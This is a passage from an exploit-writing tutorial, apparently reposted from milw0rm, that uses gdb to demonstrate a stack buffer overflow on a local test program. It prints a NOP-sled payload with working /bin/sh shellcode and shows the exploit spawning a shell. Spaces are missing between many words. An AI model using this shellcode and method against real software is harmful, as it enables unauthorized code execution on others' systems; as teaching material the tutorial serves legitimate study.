we incorrectly guess the address of the payload, itwill not matter, as long as we

guess an address that points somewhere in a NOP sled.Since the entire buffer is

full of NOPs, we can guess any address that lands inthe buffer. Once we land

on a NOP, we will begin executing each NOP. We slideforward over all the

NOPs until we reach our actual payload. The larger thebuffer of NOPs, the less

precise we need to be when guessing the address of ourpayload. Let's see:

 

(gdb) run `perl -e 'print"\x90"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53

\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`

Starting program: /home/xgc/simple_stack `perl -e'print "\x90"x244,"\x31\xc0\x50\x68

//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`

 

Breakpoint 1, 0x08048404 in main ()

1: x/i $eip 0x8048404 <main+27>:      call   0x80483c4 <bof>

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

1: x/i $eip  0x43434343:        add   %al,(%eax)

(gdb) x/128xb $esp

          .

          .

          .

0xbffffc30:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc38:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc40:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc48:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc50:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc58:    0x90    0x90    0x90   0x90    0x90    0x90   0x90    0x90

0xbffffc60:    0x90    0x90    0x90   0x90    0x31    0xc0   0x50    0x68

0xbffffc68:    0x2f    0x2f    0x73   0x68    0x68    0x2f   0x62    0x69

0xbffffc70:    0x6e    0x89    0xe3   0x50    0x53    0x89   0xe1    0x99

0xbffffc78:    0xb0    0x0b    0xcd   0x80    0x43    0x43   0x43    0x43

 

Shellcode address can be now any address of NOP. Let'schoice 0xbffffc38,

insert at our cdm line in GDB, in little endianformat, and re-execute GDB.

 

(gdb) run `perl -e 'print"A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53

\x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/simple_stack `perl -e'print "A"x244,"\x31\xc0\x50\x68

//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x38\xfc\xff\xbf"'`

 

Breakpoint 1, 0x08048404 in main ()

1: x/i $eip 0x8048404 <main+27>:      call   0x80483c4 <bof>

(gdb) c

Continuing.

 

Program received signal SIGTRAP, Trace/breakpointtrap.

0x40000c20 in ?? () from /lib/ld-linux.so.2

1: x/i $eip 0x40000c20 <completed.1+939226576>:        mov   %esp,%eax

(gdb) c

Continuing.

sh-2.05b$

 

Our shellcode was sucessfuly executed.

 

 

---------[ 0x1b0 - Conclusion ]

 

I've described the most known and basic stack overflowmodule. Different methods

can be used if the buffer isn't big enough for theshellcode or if some Stack

protections are installed. Coming soon theses methodswill be described also.

 

|=-----------------------------------------------------------------------------=|

 

 

# milw0rm.com [2006-03-09]

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值